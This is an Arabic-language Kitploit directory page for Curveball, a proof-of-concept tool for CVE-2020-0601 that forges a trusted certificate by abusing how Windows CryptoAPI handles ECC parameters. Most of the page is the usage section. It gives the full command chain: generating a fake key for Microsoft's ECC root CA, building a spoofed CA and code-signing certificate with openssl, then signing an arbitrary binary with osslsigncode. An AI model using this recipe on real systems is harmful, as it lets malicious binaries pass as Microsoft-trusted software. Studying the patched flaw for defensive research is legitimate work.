Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Curveball — إثبات المفهوم لـ CVE-2020-0601 - استغلال CryptoAPI | Kitploit
أدوات/GitHubGitHub/ioncodes/curveball
تحليل الثغرات الأمنيةتحليل الكودالاستغلالالتشفيراختبار الاختراقاستغلال الملفات الثنائية
GitHubioncodes/curveball

Curveball

إثبات المفهوم لـ CVE-2020-0601 - استغلال CryptoAPI

عرض المستودع
204منذ 4 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Curveball

إثبات مفهوم لـ CVE-2020-0601. يمكن العثور على مقالة مفصلة في المدونة هنا. يسمح هذا الاستغلال بإنشاء شهادة موثوقة مزيفة من خلال إساءة استخدام كيفية تعامل CryptoAPI مع معاملات معينة على الشهادات القائمة على ECC.

الإعداد

استنسخ المستودع وافتحه في Visual Studio 2019. قم بالتبديل إلى Release وقم بتجميعه. يمكنك العثور على الملفات الثنائية المبنية مسبقًا هنا.

الاستخدام

root@kitploit:~
.\Curveball.exe MicrosoftECCProductRootCertificateAuthority.cer MicrosoftECCProductRootCertificateAuthority_fake.key
# in linux bash (you can also use Windows but you'd have to get an alternative for osslsigncode). WSL on Windows works fine.
openssl req -new -x509 -key MicrosoftECCProductRootCertificateAuthority_fake.key -out trusted_ca.crt
openssl ecparam -name secp384r1 -genkey -noout -out cert.key
openssl req -new -key cert.key -out cert.csr -config openssl.conf -reqexts v3_cs
openssl x509 -req -in cert.csr -CA trusted_ca.crt -CAkey MicrosoftECCProductRootCertificateAuthority_fake.key -CAcreateserial -out cert.crt -days 10000 -extfile openssl.conf -extensions v3_cs
openssl pkcs12 -export -in cert.crt -inkey cert.key -certfile trusted_ca.crt -name "Code Signing" -out cert.p12
./osslsigncode sign -pkcs12 cert.p12 -n "Signed by Layle" -in <BINARY_TO_SIGN> -out <SIGNED_BINARY>

النتيجة

لاحظ أن مثبت 7zip عادةً ما يكون غير موقّع!

trusted

تنزيل الأداة